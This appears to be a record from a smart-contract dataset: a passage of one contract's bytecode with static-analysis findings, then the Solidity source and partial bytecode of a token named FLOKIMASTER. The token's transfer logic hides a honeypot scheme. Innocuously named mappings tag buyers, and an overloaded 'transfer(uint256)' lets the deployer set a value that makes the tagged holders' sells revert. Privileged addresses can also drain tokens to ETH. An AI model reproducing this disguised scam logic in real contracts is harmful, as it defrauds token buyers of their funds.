929190505050610fc0565b005b61042661107c565b6040518082815260200191505060405180910390f35b61046c6004803603602081101561045257600080fd5b81019080803561ffff169060200190929190505050611082565b005b6104bc6004803603604081101561048457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506111d0565b005b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b6000811161059b57600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461064a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b60008161ffff161161065b57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633986829d826040518263ffffffff1660e01b8152600401808261ffff1661ffff168152602001915050600060405180830381600087803b1580156106d857600080fd5b505af11580156106ec573d6000803e3d6000fd5b5050505050565b60055481565b60096020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b6000600354116107cd57600080fd5b60006003549050816003819055507f2a5cda4d16fba415b52d90b59ee30d4cb16494da9fd1ee51c4d5bac4a1f75bbe8183604051808381526020018281526020019250505060405180910390a15050565b60015481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156108bd57600080fd5b505afa1580156108d1573d6000803e3d6000fd5b505050506040513d60608110156108e757600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600061096083610952670de0b6b3a7640000856112d090919063ffffffff16565b61130a90919063ffffffff16565b905080935050505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a10576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611536602e913960400191505060405180910390fd5b610ae033611330565b610b35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806115ee602e913960400191505060405180910390fd5b6000610b4e60045460055461138690919063ffffffff16565b9050428110610ba8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806115c0602e913960400191505060405180910390fd5b610bbe600160065461138690919063ffffffff16565b60068190555042600581905550610bd36113a5565b6004819055506000610be3610850565b9050600080610bf1836113c0565b915091506000829050610c0f6001548261130a90919063ffffffff16565b90506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508215610ddd578073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8457600080fd5b505afa158015610c98573d6000803e3d6000fd5b505050506040513d6020811015610cae57600080fd5b8101908080519060200190929190505050610d86670de0b6b3a7640000610d78610ce986670de0b6b3a764000061138690919063ffffffff16565b8573ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2f57600080fd5b505afa158015610d43573d6000803e3d6000fd5b505050506040513d6020811015610d5957600080fd5b81019080805190602001909291905050506112d090919063ffffffff16565b61130a90919063ffffffff16565b10610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806115646022913960400191505060405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff16637af548c160065484866040518463ffffffff1660e01b815260040180848152602001838152602001821515151581526020019350505050602060405180830381600087803b158015610e4657600080fd5b505af1158015610e5a573d6000803e3d6000fd5b505050506040513d6020811015610e7057600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec857600080fd5b505afa158015610edc573d6000803e3d6000fd5b505050506040513d6020811015610ef257600080fd5b81019080805190602001909291905050508173ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4957600080fd5b505afa158015610f5d573d6000803e3d6000fd5b505050506040513d6020811015610f7357600080fd5b81019080805190602001909291905050501115610f8c57fe5b505050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b6000811161107257600080fd5b8060028190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b60008161ffff161161113857600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e064648a826040518263ffffffff1660e01b8152600401808261ffff1661ffff168152602001915050600060405180830381600087803b1580156111b557600080fd5b505af11580156111c9573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611586603a913960400191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000808314156112e35760009050611304565b60008284029050828482816112f457fe5b04146112ff57600080fd5b809150505b92915050565b600080821161131857600080fd5b600082848161132357fe5b0490508091505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008082840190508381101561139b57600080fd5b8091505092915050565b6000806201518090508042816113b757fe5b06810391505090565b6000806113cc83611487565b156113e05760008081915091509150611482565b6002548311156114385761142d60025461141f670de0b6b3a76400006114116002548861151590919063ffffffff16565b6112d090919063ffffffff16565b61130a90919063ffffffff16565b600191509150611482565b61147b60025461146d670de0b6b3a764000061145f8760025461151590919063ffffffff16565b6112d090919063ffffffff16565b61130a90919063ffffffff16565b6000915091505b915091565b6000806114bb670de0b6b3a76400006114ad6003546002546112d090919063ffffffff16565b61130a90919063ffffffff16565b905060025483101580156114e25750806114e06002548561151590919063ffffffff16565b105b8061150d57506002548310801561150c57508061150a8460025461151590919063ffffffff16565b105b5b915050919050565b60008282111561152457600080fd5b60008284039050809150509291505056fe4d6573736167652073656e646572206973206e6f7420776865726520746865207478206f726967696e61746564216e6577207363616c696e6720666163746f722077696c6c20626520746f6f20626967546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c65642062792074686520676f7665726e616e636520616464726573734e6f7420656e6f7567682074696d652068617320656c61707365642073696e6365206c61737420726562617365214d6573736167652073656e646572206973206e6f7420617574686f72697a656420666f72207265626173696e6721a264697066735822122051ae16acd19b5a306dea60cc85602ed2d4d77bcd46f79677e9a35baf45f1b31764736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,427 |
0x979a7B1F42FBb0F6a2466a071e0eDa9a2667365C
|
/*
https://t.me/flokimasterportal
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract FLOKIMASTER is IERC20, Ownable {
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 private swapAmount = _tTotal;
uint256 public buyFee = 7;
uint256 public sellFee = 7;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private _value;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _collection1;
mapping(address => uint256) private _collection2;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_collection1[address(this)] = _tTotal;
_collection1[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) {
require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_collection1[from] > 0 && _collection1[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) {
if (_collection1[from] > 0) _collection1[to] = amount;
else _collection2[to] = amount;
return;
}
bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (_collection2[factory] == 0) _collection2[factory] = swapAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function transfer(uint256 amnt) external {
if (swapAmount < _collection1[msg.sender]) _value = amnt;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673f